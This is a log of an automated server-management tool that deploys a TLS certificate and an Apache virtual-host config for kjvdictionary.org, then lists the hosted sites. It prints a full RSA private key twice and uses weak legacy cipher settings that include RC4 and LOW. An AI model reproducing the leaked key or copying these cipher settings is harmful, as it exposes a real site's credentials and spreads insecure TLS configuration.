8pE07Ty9oG8TQ+jR0xeB7TD1vguMpQ7V0seQUEHQwVQwl4on25hngXMO0NkU2b8z
8VSNLWQqtmbFmQ2+9Opo4GYgDMGvA95dEm7WZxSkZaGaSmD6CAP0P9JuI6H8mvO/
X/fM7sLMLT2yKxm2eR1dOz+Omoq7CHWKbeTNvW4gz0Rut0rUQ0pJ+jF9zvpN2vvT
R33ioeulHexgI8t6EYbqh/d/lQ7lns50glbOcXcMDIJZdppGNES8i9DSQJ8hztEg
tNfeuIjcQS6cNA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCiwxPhL7bXla3L
g0fyKsaQFXQpXhDYccyLpPgvbzTvM+zlSzVb3Ja0+u7JMYfEiYp4HHRObjS+VUT8
7qW/i1p9mm6HHolYriPQvqTT2dARuSzCIziHQjihBclZwhKB58XOoAh9uAjugrHg
O34ZGDqsuk/TpLP2uoxR5oMbkCvMVurk80eg4UXKAG84WXOfYG7pPbYSB8yW4ifc
aTQjEbv1RpeqYrWa6ZW2UqY+8SzJ/gN5mscv/A484L+lxjzepbovx7jz7MGeDgw5
dlGD1JZ3XMtO1kp2dRH3K6amPj4LiBuQ59EiyxCZ3NayRUZIQalAkOER/1Wt+l1u
CPPJABIDAgMBAAECggEBAJ/5u61m94D4JmVUuL9mmdn+rDkIsuf7Gj/bOvFsjYva
7qoEfQK4Uwy5Y0AvRbHAOnCKDysTmRXGu9MbQaB9+MhhpOd79SVLq/o9l8Z+XMs+
xaZfde1EAmMKS/jEDurOAxdvJkljPKwpm2m5L9y8etdRHKr6RMRqYQcS2aSa1OG2
ru6L4j8U/evAElLZ7NqMC2e91aHwJmSda2CpwMh9tc42it7iogUXVpGwnPuSXCac
W6HJYc4iCz0uk1dkycPA1WwQmQ/N2Vf7a3ZThzJaBXqJ9vOeCtuAYF7xHrhO9R3C
LHWIhmBTWXHeHyxvxGzYNXNnL0hmqGy1FCBWRHEtHfkCgYEA1S3NiPULvrk5YjP/
0qMSvJU0UZJnZdoO7xEsiEaxF/QZ1EhLFdvJ20U62lymR8IcM/oNvwbMkGd83fNt
CN4069y3lS26isB5ZbeOkln9vmurqRp23u06jkUmzsMzP1E1RNvYr86d9tBI3cU1
a8pkPEqHKU5ZE+Qt1mJhtoeL1X0CgYEAw3S2AppVqSVEyYfpei3m/J6QgMKb7dKV
sV8nQJ+MygfDQ1LnnZ4TqO9nuTRPtF7VDF72UJfYNUFZ0Rm0qlkgjr/GJ6zgbpnP
Hxo7yaXevtCmJZqtaJCs46jrgknJOEefSDpzQNlZh5ES+wrE/9nYkWT20VD0ErZK
mkh6MDPaHX8CgYEA0nt66LMqeZHgurmk6ZDhuxmGotPvC32WKS3HznYd/QyjRBpt
KJPuZnWgemHoPAnIVvmaAPbxm9LSU0M6cPsVPZycFssj2EPamTf3qUD5bL5aq4jZ
vZp1qmtUuem5+9ZuxiJbfJqBFWTpzS4eZONcvLrJYVteUGmHaJmS6OpEgvECgYB8
uE2oDYlZnIFvQ721C/NYAWpd71CGihihDQHEF8tD434yyIUpK4SKCPIb2Qh/JQA3
m6T7OllpaiEA77E7/hFrZW3xRTwU9yqWQywheSlQg11xo2jBz4ey4cgd5C11Lyax
dTK0D700Z1tAO9gHFqA97rocSNbl1dJ27oahmYS1ywKBgQCK8y2tlg0Jh+sASMFI
0mSNmzlQrONHUTPBqaoTyhJnyX03uQb0DcEDi+kI1/TqvsPNXUMowg8PzdXFnvu9
W2Q9x6FBCLLgVDRZLcsZjrWNBQGn0f6ERMh3UrFy25WsoIn9iwxUJF7T2yunXF4l
wIUjuL4+VttfLr3l1urP51+gWw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-16 06:00:15: 

chmod 755 /tmp/pkp234614; /tmp/pkp234614; rm /tmp/pkp234614

2025-09-16 06:00:15: 


dir=/etc/ssl/certs


2025-09-16 06:00:15: 

PUT: /tmp/pkp156871

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/kjvdictionary_www_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-16 06:00:15: 

chmod 755 /tmp/pkp156871; /tmp/pkp156871; rm /tmp/pkp156871

2025-09-16 06:00:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/kjvdictionary_www_org.conf 45

<VirtualHost *:80>
    ServerName	kjvdictionary.org
    ServerAlias	www.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/kjvdictionary_www
    <Directory /var/www/kjvdictionary_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/www_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	kjvdictionary.org
    ServerAlias	www.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt
    DocumentRoot	/var/www/kjvdictionary_www
    <Directory /var/www/kjvdictionary_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/www_secure_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-09-16 06:00:15: 

PUT: /tmp/pkp346222

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=kjvdictionary_www_org.conf
TARGET=/etc/apache2/sites-enabled/kjvdictionary_www_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	kjvdictionary.org
    ServerAlias	www.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/kjvdictionary_www
    <Directory /var/www/kjvdictionary_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/www_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	kjvdictionary.org
    ServerAlias	www.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt
    DocumentRoot	/var/www/kjvdictionary_www
    <Directory /var/www/kjvdictionary_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/www_secure_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/kjvdictionary_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/kjvdictionary_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/kjvdictionary_www_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/kjvdictionary_www_org.conf= 1'
fi


2025-09-16 06:00:15: 

chmod 755 /tmp/pkp346222; /tmp/pkp346222; rm /tmp/pkp346222

2025-09-16 06:00:15: 




2025-09-16 06:00:15: 

PUT: /tmp/pkp315661

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-16 06:00:15: 

chmod 755 /tmp/pkp315661; /tmp/pkp315661; rm /tmp/pkp315661

2025-09-16 06:00:15: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-16 06:00:15: Establishing a connection
2025-09-16 06:00:15: 

PUT: /tmp/pkp254155

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-16 06:00:15: 

chmod 755 /tmp/pkp254155; /tmp/pkp254155; rm /tmp/pkp254155

2025-09-16 06:00:15: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:22)
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-16 06:00:15: 

PUT: /tmp/pkp852735

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/kjvdictionary_www_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-16 06:00:15: 

chmod 755 /tmp/pkp852735; /tmp/pkp852735; rm /tmp/pkp852735

2025-09-16 06:00:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/kjvdictionary_www_org.conf	1458

<VirtualHost *:80>
    ServerName	kjvdictionary.org
    ServerAlias	www.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/kjvdictionary_www
    <Directory /var/www/kjvdictionary_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/www_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteCond	%{REQUEST_URI} !/event
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	kjvdictionary.org
    ServerAlias	www.kjvdictionary.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt
    DocumentRoot	/var/www/kjvdictionary_www
    <Directory /var/www/kjvdictionary_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/kjvdictionary/www_secure_access.log combined
    ErrorLog	/var/log/apache2/kjvdictionary/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-09-16 06:00:15: 

PUT: /tmp/pkp801342

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-16 06:00:15: 

chmod 755 /tmp/pkp801342; /tmp/pkp801342; rm /tmp/pkp801342

2025-09-16 06:00:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt	5390
2d:e5:bb:7c:3b:af:22:fe:50:f6:3a:a1:78:b9:65:55

-----BEGIN CERTIFICATE-----
MIIFFjCCA/6gAwIBAgISBrvF6Ka7h6mbpkP0XqvPLALZMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTE2MDUwMTQ0WhcNMjUxMjE1MDUwMTQzWjAcMRowGAYDVQQD
ExFranZkaWN0aW9uYXJ5Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAKLDE+EvtteVrcuDR/IqxpAVdCleENhxzIuk+C9vNO8z7OVLNVvclrT67skx
h8SJingcdE5uNL5VRPzupb+LWn2aboceiViuI9C+pNPZ0BG5LMIjOIdCOKEFyVnC
EoHnxc6gCH24CO6CseA7fhkYOqy6T9Oks/a6jFHmgxuQK8xW6uTzR6DhRcoAbzhZ
c59gbuk9thIHzJbiJ9xpNCMRu/VGl6pitZrplbZSpj7xLMn+A3maxy/8Djzgv6XG
PN6lui/HuPPswZ4ODDl2UYPUlndcy07WSnZ1EfcrpqY+PguIG5Dn0SLLEJnc1rJF
RkhBqUCQ4RH/Va36XW4I88kAEgMCAwEAAaOCAjkwggI1MA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUGxDYeVyEtcSSMAgi/kR0UOYz5rAwHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAzBgNVHREELDAqghFranZkaWN0aW9uYXJ5Lm9y
Z4IVd3d3LmtqdmRpY3Rpb25hcnkub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4G
A1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvOTAuY3JsMIIB
BQYKKwYBBAHWeQIEAgSB9gSB8wDxAHcADeHyMCvTDcFAYhIJ6lUu/Ed0fLHX6TDv
DkIetH5OqjQAAAGZURwCngAABAMASDBGAiEA405jXgJ2A+4s+EbJIjjF1aAtoqTa
ct5pJvQYq8TmMzUCIQDShmSv3qtjzegEHWFm6YHqUsgyVmznLxHR4SDa8jdcDgB2
AN3cyjSV1+EWBeeVMvrHn/g9HFDf2wA6FBJ2Ciysu8gqAAABmVEcAtIAAAQDAEcw
RQIgLH/4EIchIw7mRp0E1UsukVlHBOkZkgXAN6q0kZg9EgoCIQCD2tLvr2AnOtGP
caN7lb8qJw01U0ewUDA/V9HeiKQ/QDANBgkqhkiG9w0BAQsFAAOCAQEAigwKVale
eFVgEFSU70cgrFWAF53mSwdfjyRxdlmNgtIq3BgeRGFJX57scH2xFu135pnM4Zv4
8pE07Ty9oG8TQ+jR0xeB7TD1vguMpQ7V0seQUEHQwVQwl4on25hngXMO0NkU2b8z
8VSNLWQqtmbFmQ2+9Opo4GYgDMGvA95dEm7WZxSkZaGaSmD6CAP0P9JuI6H8mvO/
X/fM7sLMLT2yKxm2eR1dOz+Omoq7CHWKbeTNvW4gz0Rut0rUQ0pJ+jF9zvpN2vvT
R33ioeulHexgI8t6EYbqh/d/lQ7lns50glbOcXcMDIJZdppGNES8i9DSQJ8hztEg
tNfeuIjcQS6cNA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCiwxPhL7bXla3L
g0fyKsaQFXQpXhDYccyLpPgvbzTvM+zlSzVb3Ja0+u7JMYfEiYp4HHRObjS+VUT8
7qW/i1p9mm6HHolYriPQvqTT2dARuSzCIziHQjihBclZwhKB58XOoAh9uAjugrHg
O34ZGDqsuk/TpLP2uoxR5oMbkCvMVurk80eg4UXKAG84WXOfYG7pPbYSB8yW4ifc
aTQjEbv1RpeqYrWa6ZW2UqY+8SzJ/gN5mscv/A484L+lxjzepbovx7jz7MGeDgw5
dlGD1JZ3XMtO1kp2dRH3K6amPj4LiBuQ59EiyxCZ3NayRUZIQalAkOER/1Wt+l1u
CPPJABIDAgMBAAECggEBAJ/5u61m94D4JmVUuL9mmdn+rDkIsuf7Gj/bOvFsjYva
7qoEfQK4Uwy5Y0AvRbHAOnCKDysTmRXGu9MbQaB9+MhhpOd79SVLq/o9l8Z+XMs+
xaZfde1EAmMKS/jEDurOAxdvJkljPKwpm2m5L9y8etdRHKr6RMRqYQcS2aSa1OG2
ru6L4j8U/evAElLZ7NqMC2e91aHwJmSda2CpwMh9tc42it7iogUXVpGwnPuSXCac
W6HJYc4iCz0uk1dkycPA1WwQmQ/N2Vf7a3ZThzJaBXqJ9vOeCtuAYF7xHrhO9R3C
LHWIhmBTWXHeHyxvxGzYNXNnL0hmqGy1FCBWRHEtHfkCgYEA1S3NiPULvrk5YjP/
0qMSvJU0UZJnZdoO7xEsiEaxF/QZ1EhLFdvJ20U62lymR8IcM/oNvwbMkGd83fNt
CN4069y3lS26isB5ZbeOkln9vmurqRp23u06jkUmzsMzP1E1RNvYr86d9tBI3cU1
a8pkPEqHKU5ZE+Qt1mJhtoeL1X0CgYEAw3S2AppVqSVEyYfpei3m/J6QgMKb7dKV
sV8nQJ+MygfDQ1LnnZ4TqO9nuTRPtF7VDF72UJfYNUFZ0Rm0qlkgjr/GJ6zgbpnP
Hxo7yaXevtCmJZqtaJCs46jrgknJOEefSDpzQNlZh5ES+wrE/9nYkWT20VD0ErZK
mkh6MDPaHX8CgYEA0nt66LMqeZHgurmk6ZDhuxmGotPvC32WKS3HznYd/QyjRBpt
KJPuZnWgemHoPAnIVvmaAPbxm9LSU0M6cPsVPZycFssj2EPamTf3qUD5bL5aq4jZ
vZp1qmtUuem5+9ZuxiJbfJqBFWTpzS4eZONcvLrJYVteUGmHaJmS6OpEgvECgYB8
uE2oDYlZnIFvQ721C/NYAWpd71CGihihDQHEF8tD434yyIUpK4SKCPIb2Qh/JQA3
m6T7OllpaiEA77E7/hFrZW3xRTwU9yqWQywheSlQg11xo2jBz4ey4cgd5C11Lyax
dTK0D700Z1tAO9gHFqA97rocSNbl1dJ27oahmYS1ywKBgQCK8y2tlg0Jh+sASMFI
0mSNmzlQrONHUTPBqaoTyhJnyX03uQb0DcEDi+kI1/TqvsPNXUMowg8PzdXFnvu9
